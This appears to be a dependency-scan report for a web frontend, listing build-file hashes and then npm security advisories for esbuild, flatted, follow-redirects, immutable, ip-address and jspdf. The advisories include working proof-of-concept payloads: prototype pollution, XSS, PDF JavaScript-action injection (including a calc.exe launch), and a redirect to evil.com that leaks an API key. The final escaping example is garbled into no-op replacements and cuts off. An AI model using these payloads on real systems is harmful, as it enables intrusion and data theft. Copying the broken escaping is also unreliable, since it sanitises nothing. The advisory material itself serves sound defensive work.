SHA1: 3f904bd221adfac5b20c0fbba3ae13b0f5dca814
SHA256:b72386250c946399fad50f35c8cd53c40d054266dc80afc80ff9a85efacfbe0c
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-OPGVS2PI.js
MD5: 11aa96df1326fd201ab57cfb6ab49761
SHA1: 563e0420f8eac23dba4f958e556513c8e02f2cb3
SHA256:478de9fd1bdfb375ac443e5bd6d6aa4c56c14ec4b9e78f8da25d91c3be94300a
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PHUAL655.js
MD5: 00c36cc4c0cb18560f49371f8f35267b
SHA1: 2dd0143ac03b076ca32ab19e74006a69f8e0e0aa
SHA256:3a68db500c6d8bb57e76853847a7ac2ed66c0c6bf9ec87d4890203ce0bb70d32
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PLBNBG7X.js
MD5: d9b0394e59b5b80113c7080b201333a2
SHA1: 89d3c24a5a6c64bdee9c34cdfe7701c7c4ee24eb
SHA256:b4aa2e519a803f10de1c861ba644ae25d59b0cc41f7d8f57e8059daba0a05de4
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-QQ7C4WMY.js
MD5: 0929cd0e1251a667c05f9e0bc6491f7b
SHA1: a61d88a694d3d066a5bd07ea68c50af0004b9f34
SHA256:e3d4f6c0dab4e5e76d9212c19985ac1cb0b91737d2dbf6de2a12908ba83b60f5
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-RRWBFRUF.js
MD5: daa389b7816ed97885c610f74b85e1f2
SHA1: a2277f789806ab22e48c6692d59bf29cf18e4af6
SHA256:1a48e2823698659b160753255471457a5672e676d0eeffb7011b1ce1b0d77743
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-SPKGJ25A.js
MD5: 811a4044e4b8c2354b357f3c1b42b553
SHA1: b2adcb58389795bc7c61683daf0b196e3743b8a1
SHA256:3eb55b7df3e382b3e696eac3f8b5d901ea5dbfe342e85c5f1c98987dc7ebe717
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-STPVRSGK.js
MD5: ec8dac22b84f10471049a91db27dd752
SHA1: a677cf130e8f8317bc51e1854cc136e9a5b6ae35
SHA256:5d780141a0067c6cacc14fe5bad93c338caeba3078b339d0c1199301204398e4
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TL2FMGJF.js
MD5: fee1e32f372c8970d704f46f91488cef
SHA1: c10918ec31796beb03f1f2a654a306c6a83d381b
SHA256:c4e4e834fb2dcce2988a31ab9203bd79ee1546dea6bb1801732f864dd348160e
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TSRGIXR5.js
MD5: 4951adc246139c025e1b7195444c7ae7
SHA1: 6bdaee675b02d564efa037f5fec4c087e47f921d
SHA256:575c4182370246c3c184ea1a14b9d107f2043410ab46ee1b47e9451f408f2662
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-U36IAK23.js
MD5: 0ae46e855b3c923562adab6e011f0fd4
SHA1: a58953a1abe1ae7fb4892d11d813c618ef960b65
SHA256:991cac2eafd68aa48b0dbc58f922645b9df7e17134419182a7e6f5227223cfe4
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-UPDV7VHX.js
MD5: e64b14e0dd7cf788f1cfe3bec7d5d549
SHA1: d0680d2fa256c5a20e6bac11ddb82c979b155854
SHA256:d2f50ca2514c9666989ebc374ac2abcf66beb4c6cd6097aea709dad84b888adb
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-V6FC6KBB.js
MD5: 794d87aad16b01eae5b6873bcb90f0af
SHA1: 6586e346eade45bc913e3ff6c00353dccb13d5e4
SHA256:506cd7b624324d4af52b4a28e66c40df016d96612c29dee840d3a02f94fe87c0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VCIV23RK.js
MD5: 42458a96973834eb0ab83193adf36987
SHA1: 2fc8ff731490c2ae59b39a4992077cbafdd5f363
SHA256:ac624eecc127ab49cb3eb408a5b8520f7279a692a8921771b7fe5d6debec3e98
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VU3DAIZQ.js
MD5: c0abb18d03e5eb927d38dc03e0a761f4
SHA1: 79e9465a213ab80eb927580e4a80d62ea973e2f9
SHA256:766757bea6f5995d12fe4ea3f95260ff09a1bb97752d99a4cb542cb9ec25c95f
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-W6WDMCOE.js
MD5: dfca27d1e8e67bd3eea010eee24e77df
SHA1: c186c34755548c8110b5b302a35c47ea868b1f51
SHA256:ea7b6a114882d6b85a2c95b4c77a928b336435a8bf2612b2639e05eed8dcf998
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WGKX2PCV.js
MD5: d2ae4651f0854898d2c55edfd9df747d
SHA1: a9be6176965f2008c01498d4de9bab2d6f8c6d8d
SHA256:8967917409640a50c4abfc597394c25ef0db9af99b1815cf525ef31da2ffc52f
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WNGMIR4V.js
MD5: ae6717e833d3c3dc41d8a2efaf2ceb75
SHA1: e9aef3d71ee0d6f19485597d5fdd43e35b21b287
SHA256:0c92eb82c8129645f794ea82897e1e90ac834b2da6a9a7dd5200c94635db738b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-X5WXO2QU.js
MD5: 6cf7567e0a0b48db22c38493775bb08d
SHA1: f235fc99c183cc0be77cdfd766173d5c8bbef19e
SHA256:d7fa5554e1657b8273203392f18a0ca3a7ba1e3723529797698238b964b7d75f
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-XTQJFHLZ.js
MD5: ffc2ab7ef0457e3adda43af560755ae4
SHA1: afe1d5ccb3ee430437563b6c17b408b73209ba50
SHA256:147d61423973b45df4e991ccdafef1b377c50c45efd2208ddc35727df6ff69b3
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-XTRJKRBZ.js
MD5: 7dd9a17f85f07f7a4af4771d478f07e1
SHA1: bd4533b6e56237f74175f52ea758f024830d00c6
SHA256:4ace6fd587c5ec5042e48d083d9abb10c93021a91e82a463c708d51baf8155fe
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-ZWGPEHLC.js
MD5: a966b32cb1bade6ef28c7af1e0af911c
SHA1: e125843b973e1652871d42eead69926c1e0aedef
SHA256:a5553df8dbd04449ab437a382185c62d1cfb7e4d7a3a2ce1c5049149e75fee61
File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/custom.js
MD5: b76a4710138519044113c0901bed4886
SHA1: 3ca657331ee0ebf8487d1b76bbdb9f715044e75b
SHA256:d046e704784bdaba7948a66d7842b3e092da01baaffbde1851f42e233f68c21e
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?esbuild
Referenced In Project/Scope: package-lock.json: transitive
### Summary
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
### Details
esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
**Attack scenario**:
1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.
In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file
The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

### Impact
Users using the serve feature may get the source code stolen by malicious websites.CWE-346 Origin Validation ErrorVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?flatted
Referenced In Project/Scope: package-lock.json: transitive
## Summary
flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
## Impact
Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
## Proof of Concept
```javascript
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```
## Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.
## Affected Versions
All versions prior to the PR #88 fix.CWE-674 Uncontrolled RecursionVulnerable Software & Versions (NPM):
---
**Summary**
The parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index
keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it
with the key "\_\_proto\_\_" returns Array.prototype via the inherited getter. This object is then treated as a legitimate
parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype
to the consumer. Any code that subsequently writes to that property will pollute the global prototype.
---
**Root Cause**
File: esm/index.js:29 (identical in cjs/index.js)
```
const resolver = (input, lazy, parsed, $) => output => {
for (let ke = keys(output), {length} = ke, y = 0; y < length; y++) {
const k = ke[y];
const value = output[k];
if (value instanceof Primitive) {
const tmp = input[value]; // Bug is here
```
No validation that value is a safe numeric index input is built as a plain Array. JavaScript's property lookup on arrays traverses the prototype chain for non-numeric keys. The key "\_\_proto\_\_" resolves to Array.prototype, which:
- has type "object" → passes the typeof tmp === object guard at line 30
- is not in the parsed Set yet → passes the !parsed.has(tmp) guard.
- The reference to Array.prototype is then enqueued in lazy and later unconditionally assigned to the output object.
---
**Replication Steps**
```
const Flatted = require('flatted');
const parsed = Flatted.parse('[{"x":"__proto__"}]');
parsed.x.polluted = 'pwned';
console.log([].polluted); // Returns true
```
---
**Impact**
An attacker can supply a crafted flatted string to parse() that causes the returned object to hold a live reference to Array.prototype, enabling any downstream code that writes to that property to pollute the global prototype chain, potentially causing denial of service or code execution.
**Recommended solution**
Validate that the index string represents an integer within the bounds of input before accessing it:
// Before (vulnerable)
const tmp = input[value];
// After (safe)
const idx = +value; // coerce boxed String → number
const tmp = (Number.isInteger(idx) && idx >= 0 && idx < input.length)
? input[idx]
: undefined;CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?follow-redirects
Referenced In Project/Scope: package-lock.json: transitive
## Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.
Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.
## Affected Code
`index.js`, lines 469-476:
```javascript
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
```
The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.
## Attack Scenario
1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }`
2. Server returns `302 Location: https://evil.com/steal`
3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`
4. Attacker captures the API key
## Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
## Suggested Fix
Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
## Disclosure
Source code review, manually verified. Found 2026-03-20.CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?immutable
Referenced In Project/Scope: package-lock.json: transitive
## Impact
_What kind of vulnerability is it? Who is impacted?_
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
## Affected APIs
| API | Notes |
| --------------------------------------- | ----------------------------------------------------------- |
| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)` | Same code path |
| `merge(target, source)` | Shallow variant, same assignment logic |
| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |
| `Map.toObject()` | Same `toObject()` implementation |
| `Map.mergeDeep(source)` | When source is converted to plain object |
## Patches
_Has the problem been patched? What versions should users upgrade to?_
| major version | patched version |
| --- | --- |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)
- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)
- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)
- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)
- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)
## Proof of Concept
### PoC 1 — mergeDeep privilege escalation
```javascript
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
```
### PoC 2 — All affected APIs
```javascript
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
```
**Verified output against immutable@5.1.4:**
```
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
```
## References
_Are there any links users can visit to find out more?_
- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?ip-address
Referenced In Project/Scope: package-lock.json: transitive
### Summary
`Address6.group()` and `Address6.link()` do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and `AddressError.parseMessage` (emitted by the `Address6` constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to `Address6` and (2) renders the output of these methods, or the thrown error's `parseMessage`, as HTML (e.g. via `innerHTML`) is vulnerable to cross-site scripting. A related issue in `v6.helpers.spanAll()` produced malformed markup but was not exploitable; it is hardened in the same release for consistency.
### Details
Four related issues were identified and fixed together:
1. **`Address6.group()`: zone ID injection.** The `Address6` constructor stores the raw input (including any IPv6 zone ID) in `this.address` before zone stripping. `group()` then passed `this.address` to `helpers.simpleGroup()`, which wrapped each `:`-separated segment in a `<span>` element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.
2. **`Address6.link({ prefix, className })`: attribute-value injection.** `link()` concatenated user-supplied `prefix` and `className` into the `href="…"` and `class="…"` attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. `onmouseover`) and achieve XSS.
3. **`Address6` constructor: leading-zero IPv4 error path.** The leading-zero branch in `parse4in6()` built `AddressError.parseMessage` by concatenating the raw address through `String.replace()`. Because `parse4in6()` runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render `parseMessage` as HTML (its documented purpose — it already contains `<span class="parse-error">` markup) could be XSS'd by a crafted input such as `<img src=x onerror=alert(1)>:10.0.01.1`.
4. **`v6.helpers.spanAll()`: attribute-value injection (defense in depth).** `spanAll()` embedded each character of its input into a `class="digit value-${n} …"` attribute without escaping. Because `split('')` limits `n` to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.
### Affected Versions
All versions up to and including `10.1.0`.
### Patched Version
`10.1.1`.
### Impact
Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of `group()`, `link()`, or `spanAll()`: these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (`isValid`, `correctForm`, `isInSubnet`, `bigInt`, etc.) are not affected.
Consumers who **do** render the output of `group()`, `link()`, `spanAll()`, or `AddressError.parseMessage` as HTML against untrusted input should upgrade.
### PoC
```javascript
const { Address6 } = require('ip-address');
const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>');
document.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0
```
### Workarounds
If users cannot upgrade immediately:
- Do not pass untrusted input to the `Address6` constructor, or
- Never render the output of `group()`, `link()`, or `spanAll()`, nor the `parseMessage` field of any thrown `AddressError`, as HTML; treat these values as text only, or run them through [DOMPurify](https://github.com/cure53/DOMPurify) before inserting into the DOM (DOMPurify's default configuration preserves the library's intended `<span>` wrapping while stripping any injected event handlers), or
- Validate input with `Address6.isValid()` and reject anything that contains a zone identifier (a `%` character) or characters outside `[0-9a-fA-F:/]` before passing it to the constructor.
### Lack of separate CVEs
Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.
### Credit
ip-address thanks @scovetta for reporting this issue.CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?jspdf
Referenced In Project/Scope: package-lock.json: transitive
### Impact
User control of the `options` argument of the `output` function allows attackers to inject arbitrary HTML (such as scripts) into the browser context the created PDF is opened in. The affected overloads and options are:
* `"pdfobjectnewwindow"`: the `pdfObjectUrl` option and the entire options object, which is JSON-serialized and included verbatim in the generated HTML-string.
* `"pdfjsnewwindow"`: the `pdfJsUrl` and `filename` options
* `"dataurlnewwindow"`: the `filename` option
The vulnerability can be exploited in the following scenario: the attacker provides values for the output options, for example via a web interface. These values are then passed unsanitized (automatically or semi-automatically) to the attack victim. The victim creates and opens a PDF with the attack vector using one of the vulnerable method overloads inside their browser. The attacker can thus inject scripts that run in the victims browser context and can extract or modify secrets from this context.
Example attack vector:
```js
import { jsPDF } from 'jspdf';
const doc = new jsPDF();
const payload = 'x\"></iframe><script>window.__n=1</script><iframe src="';
doc.output('pdfjsnewwindow', {
filename: payload,
pdfJsUrl: 'viewer.html'
});
```
### Patches
The vulnerability has been fixed in jspdf@4.2.1.
### Workarounds
Sanitize user input before passing it to the output method.CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
### Impact
User control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..
* `createAnnotation`: `color` parameter
Example attack vector:
```js
import { jsPDF } from 'jspdf'
const doc = new jsPDF();
const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';
doc.createAnnotation({
type: 'freetext',
bounds: { x: 10, y: 10, w: 120, h: 20 },
contents: 'hello',
color: payload
});
doc.save('test.pdf');
```
### Patches
The vulnerability has been fixed in jsPDF@4.2.1.
### Workarounds
Sanitize user input before passing it to the vulnerable API members.CWE-116 Improper Encoding or Escaping of OutputVulnerable Software & Versions (NPM):
### Impact
User control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.
```js
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";
doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");
```
### Patches
The vulnerability has been fixed in jspdf@4.2.0.
### Workarounds
Escape parentheses in user-provided JavaScript code before passing them to the `addJS` method.
### References
https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.mdCWE-116 Improper Encoding or Escaping of Output, CWE-94 Improper Control of Generation of Code ('Code Injection')Vulnerable Software & Versions (NPM):
### Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.
* `AcroformChildClass.appearanceState`
Example attack vector:
```js
import { jsPDF } from "jspdf"
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
doc.save("test.pdf");
```
### Patches
The vulnerability has been fixed in jsPDF@4.2.0.
### Workarounds
Sanitize user input before passing it to the vulnerable API members.CWE-116 Improper Encoding or Escaping of OutputVulnerable Software & Versions (NPM):
### Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:
* `AcroformChoiceField.addOption`
* `AcroformChoiceField.setOptions`
* `AcroFormCheckBox.appearanceState`
* `AcroFormRadioButton.appearanceState`
Example attack vector:
```js
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");
```
### Patches
The vulnerability has been fixed in jsPDF@4.1.0.
### Workarounds
Sanitize user input before passing it to the vulnerable API members.
### Credits
Research and fix: Ahmet ArtuçCWE-116 Improper Encoding or Escaping of OutputVulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the `addImage` method results in denial of service.
If given the possibility to pass unsanitized image data or URLs to the `addImage` method, a user can provide a harmful GIF file that results in out of memory errors and denial of service. Harmful GIF files have large width and/or height entries in their headers, wich lead to excessive memory allocation.
Other affected methods are: `html`.
Example attack vector:
```js
import { jsPDF } from "jspdf"
// malicious GIF image data with large width/height headers
const payload = ...
const doc = new jsPDF();
doc.addImage(payload, "GIF", 0, 0, 100, 100);
```
### Patches
The vulnerability has been fixed in jsPDF 4.1.1. Upgrade to jspdf@>=4.2.0.
### Workarounds
Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.
### References
https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25535.mdCWE-770 Allocation of Resources Without Limits or ThrottlingVulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the `addImage` method results in Denial of Service.
If given the possibility to pass unsanitized image data or URLs to the `addImage` method, a user can provide a harmful BMP file that results in out of memory errors and denial of service. Harmful BMP files have large width and/or height entries in their headers, wich lead to excessive memory allocation.
Other affected methods are: `html`.
Example attack vector:
```js
import { jsPDF } from "jspdf"
// malicious BMP image data with large width/height headers
const payload = ...
const doc = new jsPDF();
doc.addImage(payload, "BMP", 0, 0, 100, 100);
```
### Patches
The vulnerability has been fixed in jsPDF 4.1.0. Upgrade to jspdf@>=4.1.0.
### Workarounds
Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.CWE-400 Uncontrolled Resource Consumption, CWE-20 Improper Input Validation, CWE-770 Allocation of Resources Without Limits or ThrottlingVulnerable Software & Versions (NPM):
### Impact
The addJS method in the jspdf Node.js build utilizes a shared module-scoped variable (text) to store JavaScript content. When used in a concurrent environment (e.g., a Node.js web server), this variable is shared across all requests.
If multiple requests generate PDFs simultaneously, the JavaScript content intended for one user may be overwritten by a subsequent request before the document is generated. This results in Cross-User Data Leakage, where the PDF generated for User A contains the JavaScript payload (and any embedded sensitive data) intended for User B.
Typically, this only affects server-side environments, although the same race conditions might occur if jsPDF runs client-side.
```js
import { jsPDF } from "jspdf";
const docA = new jsPDF();
const docB = new jsPDF();
// 1. User A sets their script (stored in shared 'text' variable)
docA.addJS('console.log("Secret A");');
// 2. User B sets their script (overwrites shared 'text' variable)
docB.addJS('console.log("Secret B");');
// 3. User A saves their PDF (reads current 'text' variable)
docA.save("userA.pdf");
// Result: userA.pdf contains "Secret B" instead of "Secret A"
```
### Patches
The vulnerability has been fixed in jspdf@4.0.1. The fix moves the shared variable into the function scope, ensuring isolation between instances.
### Workarounds
Avoid using the addJS method in concurrent server-side environments. If usage is required, ensure requests are processed sequentially (e.g., using a queue) rather than in parallel.CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the `addMetadata` function allows users to inject arbitrary XML.
If given the possibility to pass unsanitized input to the `addMetadata` method, a user can inject arbitrary XMP metadata into the generated PDF. If the generated PDF is signed, stored or otherwise processed after, the integrity of the PDF can no longer be guaranteed.
Example attack vector:
```js
import { jsPDF } from "jspdf"
const doc = new jsPDF()
// Input a string that closes the current XML tag and opens a new one.
// We are injecting a fake "dc:creator" (Author) to spoof the document source.
const maliciousInput = '</jspdf:metadata></rdf:Description>' +
'<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' +
'<dc:creator>TRUSTED_ADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity
'</rdf:Description>' +
'<rdf:Description><jspdf:metadata>'
// The application innocently adds the user's input to the metadata
doc.addMetadata(maliciousInput, "http://valid.namespace")
doc.save("test.pdf")
```
### Patches
The vulnerability has been fixed in jsPDF@4.1.0
### Workarounds
Sanitize user input before passing it to the `addMetadata` method: escape XML entities. For example:
```js
let input = "..."
input = input
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
